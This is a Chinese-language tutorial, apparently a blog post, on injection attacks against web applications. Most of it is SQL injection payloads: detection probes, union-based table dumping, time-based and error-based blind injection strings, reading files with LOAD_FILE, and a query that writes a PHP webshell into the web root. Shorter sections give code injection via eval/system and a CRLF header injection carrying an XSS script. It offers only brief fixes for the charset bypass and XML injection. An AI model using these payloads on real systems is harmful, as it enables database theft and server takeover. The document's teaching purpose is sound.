註入攻擊
註入攻擊本質是把用戶的輸入當做代碼執行,包括:sql註入、XML註入等
發生條件:1.用戶能夠控制輸入;2.原本要執行的代碼拼接了用戶的輸入,導致執行了用戶的輸入
1.sql註入
sql語言是解釋型語言,因此存在先天性的安全缺陷
原理什麽的就不提了,從判斷是否存在sql註入開始吧~
1.1 判斷是否存在sql註入
http://localhost/test.php?id=1 and 1=1 頁面正常 http://localhost/test.php?id=1 and 1=2 顯示出錯或空白
出現以上情況的,就是存在了sql註入,因為,id裏的and 1=1影響了sql語句的執行
爆數據庫版本:
http://localhost/test.php?id=1 and ord(mid(version(),1,1))>51
發現返回正常頁面,說明數據庫是mysql,並且版本大於4.0,支持union查詢,反之是4.0以下版本或者其他類型數據庫。
爆字段:
http://localhost/test.php?id=1 and order by 10 出錯說明字段數小於10 http://localhost/test.php?id=1 and order by 5 出錯說明字段數大於5 http://localhost/test.php?id=1 and order by 8 出錯說明字段數小於8
用二分查找比較好
爆表:
采用union查詢的方式進行爆表
http://localhost/test.php?id=1 and 1=2 union select 1,2,3,4,5,6
可以發現返回了幾個數字,把聯合查詢中對應的數字替換成需要的sql語句進行查詢即可
有用的函數:
database() 當前連接的數據庫名
system_user() 數據庫的系統用戶
current_user() 當前登錄數據庫的用戶名
last_insert_id() 最後對數據庫進行插入操作的id
1.2 盲註
盲註主要分為三種類型:基於時間的盲註;基於報錯的盲註;布爾型盲註
基於時間的盲註
sleep(n) 延遲n秒
if(expr1,expr2,expr3) 如果 expr1 為真,則 IF()函數執行expr2語句; 否則 IF()函數執行expr3語句
BENCHMARK(count,expr) 重復執行表達式expr count次
利用sleep函數:
?id=1’ and if(ascii(substr((要執行的語句),1,1))=115,sleep(5),1)# ?id=1’ union select (if(substring((要執行的語句),1,1)=char(115),sleep(5),1)),2,3# 例: ?id=1’ and if(ascii(substr(database(),1,1))=115,sleep(5),1)# ?id=1’ union select (if(substring(database(),1,1)=char(115),sleep(5),1)),2,3#
當錯誤的時候會有5 秒的時間延時。
利用BENCHMARK()函數
?id=1’ and (select 1 from (select concat((ascii(substr((要執行的語句),1,1))=115),benchmark(50000000,encode(‘msg’,’key’)))x from information_schema.tables group by x)a)# ?id=1’ and if(ascii(substr((要執行的語句),1,1))=115,benchmark(50000000,encode(‘msg’,’key’)),1)# ?id=1’ union select (if(substring((要執行的語句),1,1)=char(115),benchmark(50000000,encode(‘msg’,’key’)),1)),2,3#
當結果正確的時候,運行encode(‘msg’,’key’)操作50000000 次,會占用一段時間。
benchmark()函數可以測試某些特定操作的執行速度。該函數只是簡單地返回服務器執行表達式的時間,而不會涉及分析和優化的開銷。
基於報錯的盲註
十大報錯函數: floor(): select *from test where id = 1 and (select 1 from (select count(*),concat(語句,floor(rand(0)*2))x from information_schema.tables group by x)a)--
?id=1‘ union Select 1,count(*),concat(你希望的查詢語句,floor(rand(0)*2))a from information_schema.columns group by a--+ extracvalue(): select * from test where id=1 and (extractvalue(1,concat(0x7e,(語句),0x7e)))-- updatexml(): select * from test where id=1 and (updatexml(1,concat(0x7e,(語句),0x7e),1))-- geometrycollection(): select * from test where id=1 and geometrycollection((select * from(select * from(語句)a)b)); multipoint(): select * from test where id=1 and multipoint((select * from(select * from(語句)a)b)); polygon(): select * from test where id=1 and polygon((select * from(select * from(語句a)b)); multipolygon(): select * from test where id=1 and multipolygon((select * from(select * from(語句)a)b)); linestring(): select * from test where id=1 and linestring((select * from(select * from(語句)a)b)); multilinestring(): select * from test where id=1 and multilinestring((select * from(select * from(語句)a)b)); exp(): select * from test where id=1 and exp(~(select * from(語句)a));
1.3 其他操作
如果當前數據庫用戶具有寫權限,攻擊者可以將信息寫入本地磁盤中,如web目錄
?id=1 union all select table_name,table_type,engine from information_schema.tables where table_schema=‘mysql‘order by table_name desc into outfile ‘/path/location/on/server/www/schema.txt‘
寫入webshell:
?id=1 union select "<? system($_REQUEST[‘cmd‘]);?>",2,3,4 into outfile "/var/www/html/temp/c.php"--
讀系統文件:LOAD_FILE()
寫文件:INTO DUMPFILE()和 INTO OUTFILE()
命令執行
利用“用戶自定義函數”,即UDF來執行命令
編碼問題
基於字符集的註入問題
當mysql使用GBK編碼時,0xbf27會被認為是一個雙字節字符,但是在進入數據庫之前,雙字節字符會被認為是兩個字符,某些函數,如PHP的addslashes()函數,或當magic_quotes_gpc開啟時,會在特殊字符前增加一個轉義字符“\”。
當輸入0xbf27時,會進行轉義,變成0xbf5c27(“\”的ascii碼是0x5c),但是0xbf5c又可以組成一個字符,因此,轉義符被吞掉,0x27不會被轉義,還是單引號。
解決方法:統一數據庫、操作系統、web應用所使用的字符集,以避免各層對字符的理解存在差異。
SQL column truncation
當mysql的sql_mode選項被設置為default時,即沒有開啟STRICT_ALL_TABLES 選項時,對輸入的超長值只會顯示warning而非error,即插入成功(截斷超長部分),若精心設置,可能會出現重復數據的情況,造成越權訪問。
2.XML註入
與sql註入很相似,用戶能夠控制數據的輸入;程序拼湊數據。
修復:對用戶輸入數據中的“保留字符”進行轉義,如用 lt 替換 <
3.代碼註入
由一些不安全的系統函數造成,比如:eval()和system()
提交命令:/index.php?arg=1;phpinfo()
4.CLRF註入
CR:\r,0x0d
LF:\n, 0x0a
可以用來註入HTTP頭,因為HTTP頭通過\r\n來分割,若沒有過濾,又把用戶輸入的數據放在HTTP頭中,可能造成安全隱患。
如,兩次CRLF註入到cookie
?argc=1%0d%0a%0d%0a<script>alert(/XSS/);</script> HTTP/1.1
註入攻擊